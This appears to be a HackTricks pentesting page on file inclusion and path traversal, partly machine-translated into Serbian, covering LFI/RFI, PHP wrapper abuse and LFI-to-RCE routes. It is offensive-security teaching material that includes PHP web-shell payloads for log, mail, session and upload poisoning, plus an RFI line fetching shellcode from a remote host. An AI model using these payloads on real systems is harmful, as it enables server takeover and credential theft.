File Inclusion/Path traversal
Last updated
Last updated
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Pridružite se HackenProof Discord serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
Hakerski Uvidi Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
Vesti o Haku u Realnom Vremenu Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
Najnovija Obaveštenja Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platformi
Pridružite nam se na Discordu i počnite da sarađujete sa vrhunskim hakerima danas!
Uključivanje udaljenog fajla (RFI): Fajl se učitava sa udaljenog servera (Najbolje: Možete napisati kod i server će ga izvršiti). U php je ovo onemogućeno po defaultu (allow_url_include). Uključivanje lokalnog fajla (LFI): Server učitava lokalni fajl.
Ranljivost se javlja kada korisnik može na neki način kontrolisati fajl koji će server učitati.
Ranljive PHP funkcije: require, require_once, include, include_once
Zanimljiv alat za iskorišćavanje ove ranjivosti: https://github.com/kurobeats/fimap
Kombinovanjem nekoliko *nix LFI lista i dodavanjem više putanja, kreirao sam ovu:
Pokušajte takođe da promenite /
u \
Pokušajte takođe da dodate ../../../../../
Lista koja koristi nekoliko tehnika za pronalaženje datoteke /etc/password (da proveri da li ranjivost postoji) može se naći ovde
Spajanje različitih rečnika:
Pokušajte takođe da promenite /
u \
Pokušajte takođe da uklonite C:/
i dodate ../../../../../
Lista koja koristi nekoliko tehnika za pronalaženje datoteke /boot.ini (da proveri da li ranjivost postoji) može se naći ovde
Proverite LFI listu za linux.
Svi primeri su za Local File Inclusion, ali se mogu primeniti i na Remote File Inclusion (stranica=http://myserver.com/phpshellcode.txt\.
Zaobiđite dodavanje više karaktera na kraju datog stringa (zaobilaženje: $_GET['param']."php")
Ovo je rešeno od PHP 5.4
Možete koristiti nestandardna kodiranja kao što su dvostruko URL kodiranje (i druga):
Možda back-end proverava putanju fascikle:
Datotečni sistem servera može se istraživati rekurzivno kako bi se identifikovali direktorijumi, a ne samo datoteke, korišćenjem određenih tehnika. Ovaj proces uključuje određivanje dubine direktorijuma i ispitivanje postojanja specifičnih foldera. Ispod je detaljna metoda za postizanje ovoga:
Odredite dubinu direktorijuma: Utvrdite dubinu vašeg trenutnog direktorijuma uspešnim preuzimanjem datoteke /etc/passwd
(primenjivo ako je server zasnovan na Linux-u). Primer URL-a može biti strukturiran na sledeći način, ukazujući na dubinu od tri:
Istraži foldere: Dodajte ime sumnjivog foldera (npr., private
) na URL, a zatim se vratite na /etc/passwd
. Dodatni nivo direktorijuma zahteva povećanje dubine za jedan:
Tumačenje Ishoda: Odgovor servera ukazuje da li folder postoji:
Greška / Nema Izlaza: Folder private
verovatno ne postoji na navedenoj lokaciji.
Sadržaj /etc/passwd
: Prisutnost foldera private
je potvrđena.
Rekurzivna Istraživanja: Otkriće foldera može se dodatno istražiti za poddirektorijume ili datoteke koristeći istu tehniku ili tradicionalne metode Lokalnog Uključivanja Datoteka (LFI).
Za istraživanje direktorijuma na različitim lokacijama u fajl sistemu, prilagodite payload u skladu s tim. Na primer, da proverite da li /var/www/
sadrži private
direktorijum (pretpostavljajući da je trenutni direktorijum na dubini od 3), koristite:
Skraćivanje putanje je metoda koja se koristi za manipulaciju putanjama datoteka u web aplikacijama. Često se koristi za pristup ograničenim datotekama zaobilaženjem određenih sigurnosnih mera koje dodaju dodatne karaktere na kraj putanja datoteka. Cilj je kreirati putanju datoteke koja, kada je izmenjena od strane sigurnosne mere, i dalje pokazuje na željenu datoteku.
U PHP-u, različite reprezentacije putanje datoteke mogu se smatrati ekvivalentnim zbog prirode datotečnog sistema. Na primer:
/etc/passwd
, /etc//passwd
, /etc/./passwd
, i /etc/passwd/
se svi tretiraju kao ista putanja.
Kada su poslednjih 6 karaktera passwd
, dodavanje /
(čime se dobija passwd/
) ne menja ciljanju datoteku.
Slično, ako se .php
doda putanji datoteke (kao što je shellcode.php
), dodavanje /.
na kraju neće promeniti datoteku koja se pristupa.
Pruženi primeri pokazuju kako koristiti skraćivanje putanje za pristup /etc/passwd
, uobičajenom cilju zbog svog osetljivog sadržaja (informacije o korisničkim računima):
U ovim scenarijima, broj potrebnih prelaza može biti oko 2027, ali ovaj broj može varirati u zavisnosti od konfiguracije servera.
Korišćenje tačaka i dodatnih karaktera: Sekvence prelaza (../
) u kombinaciji sa dodatnim tačkama i karakterima mogu se koristiti za navigaciju kroz fajl sistem, efikasno ignorirajući dodatne stringove koje server dodaje.
Određivanje potrebnog broja prelaza: Kroz pokušaje i greške, može se pronaći precizan broj ../
sekvenci potrebnih za navigaciju do root direktorijuma, a zatim do /etc/passwd
, osiguravajući da su svi dodati stringovi (kao što je .php
) neutralisani, ali da željeni put (/etc/passwd
) ostane netaknut.
Početak sa lažnim direktorijumom: Uobičajena praksa je da se put započne sa nepostojećim direktorijumom (kao što je a/
). Ova tehnika se koristi kao mera predostrožnosti ili da bi se ispunili zahtevi logike parsiranja putanje servera.
Kada se koriste tehnike skraćivanja putanje, ključno je razumeti ponašanje servera prilikom parsiranja putanje i strukturu fajl sistema. Svaki scenario može zahtevati drugačiji pristup, a testiranje je često neophodno da bi se pronašla najefikasnija metoda.
Ova ranjivost je ispravljena u PHP 5.3.
U php-u je ovo podrazumevano onemogućeno jer je allow_url_include
Isključeno. Mora biti Uključeno da bi radilo, i u tom slučaju možete uključiti PHP datoteku sa vašeg servera i dobiti RCE:
Ako je iz nekog razloga allow_url_include
Uključeno, ali PHP filtrira pristup spoljnim veb stranicama, prema ovom postu, mogli biste koristiti, na primer, data protokol sa base64 za dekodiranje b64 PHP koda i dobijanje RCE:
U prethodnom kodu, konačni +.txt
je dodat jer je napadaču bila potrebna string koja se završava sa .txt
, tako da se string završava tim i nakon b64 dekodiranja taj deo će vratiti samo smeće, a pravi PHP kod će biti uključen (i stoga, izvršen).
Još jedan primer koji ne koristi php://
protokol bio bi:
U Python-u u kodu poput ovog:
Ako korisnik prosledi apsolutnu putanju do file_name
, prethodna putanja se jednostavno uklanja:
To je očekivano ponašanje prema dokumentaciji:
Ako je komponenta apsolutna putanja, sve prethodne komponente se odbacuju i spajanje se nastavlja od komponente apsolutne putanje.
Izgleda da ako imate Path Traversal u Javi i tražite direktorijum umesto datoteke, vraća se lista direktorijuma. Ovo se neće dešavati u drugim jezicima (koliko ja znam).
Evo liste top 25 parametara koji bi mogli biti podložni lokalnim ranjivostima uključivanja datoteka (LFI) (iz linka):
PHP filteri omogućavaju osnovne operacije modifikacije podataka pre nego što budu pročitani ili napisani. Postoji 5 kategorija filtera:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Uklanja oznake iz podataka (sve između "<" i ">" karaktera)
Imajte na umu da je ovaj filter nestao iz modernih verzija PHP-a
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Transformiše u drugačiju kodiranje(convert.iconv.<input_enc>.<output_enc>
). Da biste dobili listu svih podržanih kodiranja, pokrenite u konzoli: iconv -l
Zloupotrebljavajući convert.iconv.*
konverzijski filter možete generisati proizvoljan tekst, što može biti korisno za pisanje proizvoljnog teksta ili pravljenje funkcije kao što je uključivanje procesa proizvoljnog teksta. Za više informacija pogledajte LFI2RCE putem php filtera.
zlib.deflate
: Kompresuje sadržaj (korisno ako se exfiltrira mnogo informacija)
zlib.inflate
: Dekompresuje podatke
mcrypt.*
: Zastarjelo
mdecrypt.*
: Zastarjelo
Ostali filteri
Pokretanjem u php var_dump(stream_get_filters());
možete pronaći nekoliko neočekivanih filtera:
consumed
dechunk
: obrće HTTP chunked encoding
convert.*
Deo "php://filter" nije osetljiv na velika i mala slova
U ovom postu predložena je tehnika za čitanje lokalnog fajla bez vraćanja izlaza sa servera. Ova tehnika se zasniva na boolean ekfiltraciji fajla (karakter po karakter) koristeći php filtere kao orakl. To je zato što se php filteri mogu koristiti za povećanje teksta dovoljno da php izazove izuzetak.
U originalnom postu možete pronaći detaljno objašnjenje tehnike, ali evo brzog pregleda:
Koristite kodek UCS-4LE
da ostavite vodeći karakter teksta na početku i povećate veličinu stringa eksponencijalno.
Ovo će se koristiti za generisanje teksta toliko velikog kada je početno slovo tačno pogođeno da će php izazvati grešku.
Filter dechunk će ukloniti sve ako prvi karakter nije heksadecimalni, tako da možemo znati da li je prvi karakter heks.
Ovo, u kombinaciji sa prethodnim (i drugim filtrima u zavisnosti od pogođenog slova), omogućiće nam da pogodimo slovo na početku teksta gledajući kada uradimo dovoljno transformacija da ga učinimo neheksadecimalnim karakterom. Jer ako je heks, dechunk ga neće obrisati i početna bomba će izazvati php grešku.
Kodek convert.iconv.UNICODE.CP930 transformiše svako slovo u sledeće (tako da nakon ovog kodeka: a -> b). Ovo nam omogućava da otkrijemo da li je prvo slovo a
, na primer, jer ako primenimo 6 ovog kodeka a->b->c->d->e->f->g slovo više nije heksadecimalni karakter, stoga dechunk ga nije obrisao i php greška se izaziva jer se množi sa početnom bombom.
Korišćenjem drugih transformacija kao što je rot13 na početku moguće je ekfiltrirati druge karaktere kao n, o, p, q, r (i drugi kodeci se mogu koristiti za pomeranje drugih slova u heks opseg).
Kada je početni karakter broj, potrebno je da se base64 kodira i ekfiltrira prva 2 slova da bi se ekfiltrirao broj.
Konačni problem je videti kako ekfiltrirati više od početnog slova. Korišćenjem filtera za redosled memorije kao što su convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE moguće je promeniti redosled karaktera i dobiti na prvoj poziciji druga slova teksta.
I kako bismo mogli da dobijemo dalje podatke, ideja je da generišemo 2 bajta smešnih podataka na početku sa convert.iconv.UTF16.UTF16, primenimo UCS-4LE da bi se povezali sa sledeća 2 bajta, i obrišemo podatke do smešnih podataka (ovo će ukloniti prva 2 bajta početnog teksta). Nastavite to da radite dok ne dođete do željenog bita za ekfiltraciju.
U postu je takođe otkriven alat za automatsko izvođenje ovoga: php_filters_chain_oracle_exploit.
Ovaj omotač omogućava pristup deskriptorima fajlova koje proces ima otvorene. Potencijalno korisno za ekfiltraciju sadržaja otvorenih fajlova:
Možete takođe koristiti php://stdin, php://stdout i php://stderr za pristup fajl deskriptorima 0, 1 i 2 respektivno (nisam siguran kako bi ovo moglo biti korisno u napadu)
Otpremite Zip ili Rar fajl sa PHPShell unutar i pristupite mu. Da biste mogli da zloupotrebite rar protokol, mora biti posebno aktiviran.
Napomena da je ovaj protokol ograničen php konfiguracijama allow_url_open
i allow_url_include
Expect mora biti aktiviran. Možete izvršiti kod koristeći ovo:
Definišite svoj payload u POST parametrima:
.phar
datoteka se može koristiti za izvršavanje PHP koda kada web aplikacija koristi funkcije kao što su include
za učitavanje datoteka. PHP kod ispod prikazuje kreiranje .phar
datoteke:
Da biste kompajlirali .phar
datoteku, treba izvršiti sledeću komandu:
Upon execution, a file named test.phar
will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, or filesize()
, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the phar
protocol.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar
files, refer to the document linked below:
Phar Deserialization Exploitation Guide
phar:// deserializationIt was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post.
Very quick summary: a 3 byte overflow in the PHP heap was abused to alter the chain of free chunks of anspecific size in order to be able to write anything in any address, so a hook was added to call system
.
It was possible to alloc chunks of specific sizes abusing more php filters.
Check more possible protocols to include here:
php://memory and php://temp — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
file:// — Accessing local filesystem
http:// — Accessing HTTP(s) URLs
ftp:// — Accessing FTP(s) URLs
zlib:// — Compression Streams
glob:// — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
ssh2:// — Secure Shell 2
ogg:// — Audio streams (Not useful to read arbitrary files)
Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.
For example, PHP code might be designed to prevent directory traversal like so:
Dok ovo ima za cilj da zaustavi prolazak, nenamerno stvara vektor za injekciju koda. Da bi iskoristio ovo za čitanje sadržaja datoteka, napadač bi mogao da koristi:
Slično, za izvršavanje proizvoljnih sistemskih komandi, može se koristiti:
Važno je URL-enkodirati ove payload-e.
Pridružite se HackenProof Discord serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
Hacking Insights Uključite se u sadržaj koji se bavi uzbuđenjem i izazovima hakovanja
Real-Time Hack News Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
Latest Announcements Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platforme
Pridružite nam se na Discord i počnite da sarađujete sa vrhunskim hakerima danas!
Ova tehnika je relevantna u slučajevima kada kontrolišete putanju fajla PHP funkcije koja će pristupiti fajlu ali nećete videti sadržaj fajla (kao jednostavan poziv na file()
) ali sadržaj nije prikazan.
U ovom neverovatnom postu objašnjeno je kako se slepa putanja može zloupotrebiti putem PHP filtera da se izvrši eksfiltracija sadržaja fajla putem greške orakla.
Ukratko, tehnika koristi "UCS-4LE" kodiranje da bi sadržaj fajla bio toliko velik da će PHP funkcija koja otvara fajl izazvati grešku.
Zatim, da bi se otkrio prvi karakter, koristi se filter dechunk
zajedno sa drugim kao što su base64 ili rot13, a na kraju se koriste filteri convert.iconv.UCS-4.UCS-4LE i convert.iconv.UTF16.UTF-16BE da se postave drugi karakteri na početak i otkriju.
Funkcije koje bi mogle biti ranjive: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (samo ciljani read only sa ovim)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Za tehničke detalje proverite pomenuti post!
Objašnjeno ranije, pratite ovu vezu.
Ako je Apache ili Nginx server ranjiv na LFI unutar include funkcije, mogli biste pokušati da pristupite /var/log/apache2/access.log
ili /var/log/nginx/access.log
, postavite unutar user agent-a ili unutar GET parametra php shell kao <?php system($_GET['c']); ?>
i uključite taj fajl
Imajte na umu da ako koristite dvostruke navodnike za shell umesto jednostavnih navodnika, dvostruki navodnici će biti modifikovani za string "quote;", PHP će baciti grešku tamo i ništa drugo neće biti izvršeno.
Takođe, uverite se da ispravno pišete payload ili će PHP grešiti svaki put kada pokuša da učita log fajl i nećete imati drugu priliku.
Ovo se takođe može uraditi u drugim logovima, ali budite oprezni, kod unutar logova može biti URL enkodiran i to može uništiti Shell. Header authorisation "basic" sadrži "user:password" u Base64 i dekodira se unutar logova. PHPShell može biti umetnut unutar ovog header-a. Ostale moguće putanje logova:
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Pošaljite mail na interni nalog (user@localhost) koji sadrži vaš PHP payload kao <?php echo system($_REQUEST["cmd"]); ?>
i pokušajte da uključite u mail korisnika sa putanjom kao /var/mail/<USERNAME>
ili /var/spool/mail/<USERNAME>
Učitajte puno shell-ova (na primer: 100)
Uključite http://example.com/index.php?page=/proc/$PID/fd/$FD, sa $PID = PID procesa (može se brute force-ovati) i $FD datoteka deskriptora (takođe može da se brute force-uje)
Kao log fajl, pošaljite payload u User-Agent, biće reflektovan unutar /proc/self/environ fajla
Ako možete da otpremite datoteku, jednostavno ubacite shell payload u nju (npr: <?php system($_GET['c']); ?>
).
Da bi se datoteka održala čitljivom, najbolje je ubrizgati u metapodatke slika/doc/pdf
Učitajte ZIP datoteku koja sadrži PHP shell kompresovanu i pristupite:
Proverite da li veb sajt koristi PHP sesiju (PHPSESSID)
U PHP-u, ove sesije se čuvaju u /var/lib/php5/sess\[PHPSESSID]_ datotekama.
Postavite kolačić na <?php system('cat /etc/passwd');?>
Iskoristite LFI da uključite PHP sesijski fajl
Ako je ssh aktivan, proverite koji korisnik se koristi (/proc/self/status & /etc/passwd) i pokušajte da pristupite <HOME>/.ssh/id_rsa
Logovi za FTP server vsftpd se nalaze na /var/log/vsftpd.log. U scenariju gde postoji ranjivost Local File Inclusion (LFI), i pristup izloženom vsftpd serveru je moguć, sledeći koraci se mogu razmotriti:
Injektujte PHP payload u polje korisničkog imena tokom procesa prijavljivanja.
Nakon injekcije, iskoristite LFI da preuzmete server logove sa /var/log/vsftpd.log.
Kao što je prikazano u ovom članku, PHP base64 filter jednostavno ignoriše Non-base64. Možete to iskoristiti da zaobiđete proveru ekstenzije fajla: ako dostavite base64 koji se završava sa ".php", on će jednostavno ignorisati "." i dodati "php" na base64. Evo primera payload-a:
Ovaj izveštaj objašnjava da možete koristiti php filtere za generisanje proizvoljnog sadržaja kao izlaz. Što u suštini znači da možete generisati proizvoljan php kod za uključivanje bez potrebe da ga napišete u fajl.
LFI2RCE via PHP FiltersOtpremite fajl koji će biti sačuvan kao privremeni u /tmp
, zatim u isto zahtev, izazovite grešku segmentacije, i tada privremeni fajl neće biti obrisan i možete ga potražiti.
Ako ste pronašli Local File Inclusion i Nginx radi ispred PHP-a, možda ćete moći da dobijete RCE koristeći sledeću tehniku:
LFI2RCE via Nginx temp filesAko ste pronašli Local File Inclusion čak i ako nemate sesiju i session.auto_start
je Off
. Ako pružite PHP_SESSION_UPLOAD_PROGRESS
u multipart POST podacima, PHP će omogućiti sesiju za vas. Možete to zloupotrebiti da dobijete RCE:
Ako ste pronašli Local File Inclusion i server radi na Windows-u, možda ćete dobiti RCE:
LFI2RCE Via temp file uploadspearcmd.php
+ URL argumenataKao što je objašnjeno u ovom postu, skripta /usr/local/lib/phppearcmd.php
postoji po defaultu u php docker slikama. Štaviše, moguće je proslediti argumente skripti putem URL-a jer je naznačeno da ako URL parametar nema =
, treba ga koristiti kao argument.
Sledeći zahtev kreira fajl u /tmp/hello.php
sa sadržajem <?=phpinfo()?>
:
Sledeće zloupotrebljava CRLF ranjivost da bi dobilo RCE (iz ovde):
Ako ste pronašli Local File Inclusion i datoteku koja izlaže phpinfo() sa file_uploads = on, možete dobiti RCE:
LFI2RCE via phpinfo()PHP_STREAM_PREFER_STUDIO
+ Otkrivanje putanjeAko ste pronašli Local File Inclusion i možete eksfiltrirati putanju privremene datoteke, ALI server proverava da li datoteka koja se uključuje ima PHP oznake, možete pokušati da zaobiđete tu proveru sa ovom Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path DisclosureAko možete zloupotrebiti LFI da otpremite privremene datoteke i naterate server da zakaže PHP izvršenje, mogli biste tada bruteforce-ovati imena datoteka tokom sati da pronađete privremenu datoteku:
LFI2RCE via Eternal waitingAko uključite bilo koju od datoteka /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Morate uključiti istu dva puta da izazovete tu grešku).
Ne znam koliko je ovo korisno, ali možda jeste. Čak i ako izazovete PHP Fatal Error, PHP privremene datoteke koje su otpremljene se brišu.
Pridružite se HackenProof Discord serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
Hacking Insights Uključite se u sadržaj koji se bavi uzbuđenjem i izazovima hakovanja
Real-Time Hack News Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
Najnovija Obaveštenja Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platformi
Pridružite nam se na Discord i počnite da sarađujete sa vrhunskim hakerima danas!
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)